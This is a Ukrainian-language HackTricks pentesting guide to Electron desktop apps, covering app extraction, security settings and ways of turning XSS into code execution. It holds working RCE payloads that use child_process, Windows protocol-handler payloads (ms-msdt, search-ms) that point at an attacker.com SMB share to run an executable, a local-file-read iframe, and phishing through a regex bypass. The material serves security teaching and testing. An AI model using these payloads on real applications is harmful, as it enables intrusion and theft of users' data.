Electron Desktop Apps

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Вступ

Electron поєднує локальний бекенд (з NodeJS) та фронтенд (Chromium), хоча він не має деяких механізмів безпеки сучасних браузерів.

Зазвичай ви можете знайти код додатка на Electron всередині застосунку .asar, щоб отримати код, вам потрібно його видобути:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

У вихідному коді додатка Electron, всередині packet.json, ви можете знайти вказаний файл main.js, де встановлені конфігурації безпеки.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron має 2 типи процесів:

  • Основний процес (має повний доступ до NodeJS)

  • Процес відображення (повинен мати обмежений доступ до NodeJS з міркувань безпеки)

Процес відображення буде вікном браузера, яке завантажує файл:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Налаштування процесу відображення можна налаштувати в основному процесі всередині файлу main.js. Деякі з конфігурацій будуть запобігати отриманню RCE або інших вразливостей, якщо налаштування виконані правильно.

Додаток Electron може отримати доступ до пристрою через Node apis, хоча його можна налаштувати для запобігання цього:

  • nodeIntegration - за замовчуванням вимкнено. Якщо увімкнено, дозволяє отримувати доступ до можливостей node з процесу відображення.

  • contextIsolation - за замовчуванням увімкнено. Якщо вимкнено, основний та процеси відображення не ізольовані.

  • preload - за замовчуванням порожній.

  • sandbox - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.

  • Інтеграція Node в робочих потоках

  • nodeIntegrationInSubframes - за замовчуванням вимкнено.

  • Якщо nodeIntegration увімкнено, це дозволить використовувати API Node.js на веб-сторінках, які завантажуються в iframe в додатку Electron.

  • Якщо nodeIntegration вимкнено, то попередні завантаження будуть завантажені в iframe

Приклад конфігурації:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Деякі RCE payloads з цього:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Захоплення трафіку

Змініть конфігурацію start-main та додайте використання проксі, наприклад:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Локальне внедрення коду в Electron

Якщо ви можете локально виконати додаток Electron, є можливість виконання довільного коду JavaScript. Перевірте, як це зробити:

RCE: XSS + nodeIntegration

Якщо nodeIntegration встановлено на on, JavaScript веб-сторінки можуть легко використовувати можливості Node.js, просто викликаючи require(). Наприклад, спосіб виконання додатку калькулятора на Windows:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Сценарій, вказаний у цьому налаштуванні, завантажується перед іншими сценаріями в рендерері, тому він має необмежений доступ до API Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Отповідно, скрипт може експортувати вузли-функції на сторінки:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Якщо contextIsolation увімкнено, це не працюватиме

RCE: XSS + contextIsolation

contextIsolation вводить відокремлені контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron, щоб виконання JavaScript кожного коду не впливало на кожен. Це необхідна функція для усунення можливості RCE.

Якщо контексти не відокремлені, зловмисник може:

  1. Виконати довільний JavaScript у рендерері (XSS або перехід на зовнішні сайти)

  2. Перезаписати вбудований метод, який використовується в попередньо завантаженому коді або внутрішньому коді Electron на власну функцію

  3. Спровокувати використання перезаписаної функції

  4. RCE?

Є 2 місця, де можна перезаписати вбудовані методи: у попередньо завантаженому коді або у внутрішньому коді Electron:

Обхід події кліку

Якщо є обмеження при натисканні посилання, ви можете обійти їх, натиснувши середню кнопку замість звичайного лівого кліку

window.addEventListener('click', (e) => {

Виконання коду з віддаленим доступом через shell.openExternal

Для отримання додаткової інформації про ці приклади перегляньте https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 та https://benjamin-altpeter.de/shell-openexternal-dangers/

Під час розгортання додатку для робочого столу Electron важливо забезпечити правильні налаштування для nodeIntegration та contextIsolation. Встановлено, що виконання коду з віддаленим доступом (RCE) на стороні клієнта, спрямоване на попередні скрипти або власний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.

Під час взаємодії користувача з посиланнями або відкриття нових вікон спрацьовують конкретні слухачі подій, які є важливими для безпеки та функціональності додатку:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ці слухачі перевизначаються додатком для настільних комп'ютерів, щоб реалізувати свою власну бізнес-логіку. Додаток оцінює, чи потрібно відкривати перейдений посилання внутрішньо або у зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію openInternally. Якщо ця функція повертає false, це означає, що посилання слід відкрити зовнішньо, використовуючи функцію shell.openExternal.

Ось спрощений псевдокод:

Найкращі практики забезпечення безпеки в Electron JS радять уникати прийняття ненадійного вмісту за допомогою функції openExternal, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть спричинити RCE. Для докладних прикладів та подальшого пояснення з цієї теми можна звернутися до цього ресурсу, який містить приклади протоколів Windows, здатних використовувати цю уразливість.

Приклади використання уразливостей протоколів Windows включають:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Читання внутрішніх файлів: XSS + contextIsolation

Вимкнення contextIsolation дозволяє використовувати теги <webview>, схожі на <iframe>, для читання та ексфільтрації локальних файлів. Надано приклад, що демонструє, як використовувати цю уразливість для читання вмісту внутрішніх файлів:

Крім того, надається ще один метод читання внутрішнього файлу, який висвітлює критичну уразливість читання локальних файлів у додатку для робочого столу Electron. Це включає впровадження скрипту для експлуатації додатку та ексфільтрації даних:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Старий Chromium

Якщо chromium, який використовується програмою, є старим, і на ньому є відомі вразливості, можливо експлуатувати їх і отримати RCE через XSS. Ви можете побачити приклад у цьому описі: https://blog.electrovolt.io/posts/discord-rce/

XSS-фішинг через обхід внутрішнього URL-regex

Припустимо, ви знайшли XSS, але ви не можете викликати RCE або вкрасти внутрішні файли, ви можете спробувати використати його для вкрадення облікових даних через фішинг.

По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити новий URL, перевіряючи JS-код у фронтенді:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Виклик openInternally вирішить, чи буде посилання відкрите в вікні робочого столу, оскільки це посилання належить до платформи, чи відкрите в браузері як ресурс сторонньої сторони.

У випадку, якщо регулярний вираз, використаний функцією, вразливий до обхідних шляхів (наприклад, не екрануючи крапки піддоменів), зловмисник може скористатися XSS, щоб відкрити нове вікно, яке буде розташоване в інфраструктурі зловмисника і просити від користувача облікові дані:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Інструменти

  • Electronegativity - це інструмент для ідентифікації неправильних налаштувань та анти-шаблонів безпеки в додатках на основі Electron.

  • Electrolint - це відкритий плагін VS Code для додатків Electron, який використовує Electronegativity.

  • nodejsscan - для перевірки наявності вразливих сторонніх бібліотек.

  • Electro.ng: Вам потрібно купити його.

Лабораторії

На https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s ви знайдете лабораторію для експлуатації вразливих додатків Electron.

Деякі команди, які допоможуть вам з лабораторією:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated